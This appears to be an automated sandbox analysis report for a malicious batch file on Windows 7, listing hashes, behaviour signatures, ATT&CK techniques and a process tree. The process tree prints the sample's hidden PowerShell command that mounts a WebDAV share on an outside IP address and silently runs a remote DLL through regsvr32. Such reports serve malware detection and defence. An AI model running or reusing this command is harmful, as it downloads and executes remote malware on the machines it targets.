feb5cc842ec7a349c35cde346801179c8a94a40042f864af7ad7f67580182973

Analysis

max time kernel
100s
max time network
16s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:14

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General

Target

872710821234617950.bat
Size

2KB
MD5

b4306fcc5e288271a3d8f695749264c7
SHA1

e0edf4253176410bc784c364f6548929e1a81fc6
SHA256

bf2f5248e84de5d990732f391cee59bbf478398adce87faab73958f251a3e4b2
SHA512

c8afab29943d40810124af58a15583cf904c2d4f7fa9dc7e3f6c1d0512968a84c81703afd74af1444fefa5513e9d1be7b2e8ad48307bd7b937ebd4fd3c8c2731

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 2708	2540	cmd.exe	31
PID 2540 wrote to memory of 2708	2540	cmd.exe	31
PID 2540 wrote to memory of 2708	2540	cmd.exe	31
PID 2540 wrote to memory of 2804	2540	cmd.exe	32
PID 2540 wrote to memory of 2804	2540	cmd.exe	32
PID 2540 wrote to memory of 2804	2540	cmd.exe	32
PID 2804 wrote to memory of 2868	2804	powershell.exe	34
PID 2804 wrote to memory of 2868	2804	powershell.exe	34
PID 2804 wrote to memory of 2868	2804	powershell.exe	34
PID 2804 wrote to memory of 2624	2804	powershell.exe	35
PID 2804 wrote to memory of 2624	2804	powershell.exe	35
PID 2804 wrote to memory of 2624	2804	powershell.exe	35
PID 2804 wrote to memory of 2624	2804	powershell.exe	35
PID 2804 wrote to memory of 2624	2804	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\872710821234617950.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\26205250127368.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\26205250127368.dll
    3⤵
    PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2804-24-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2804-25-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download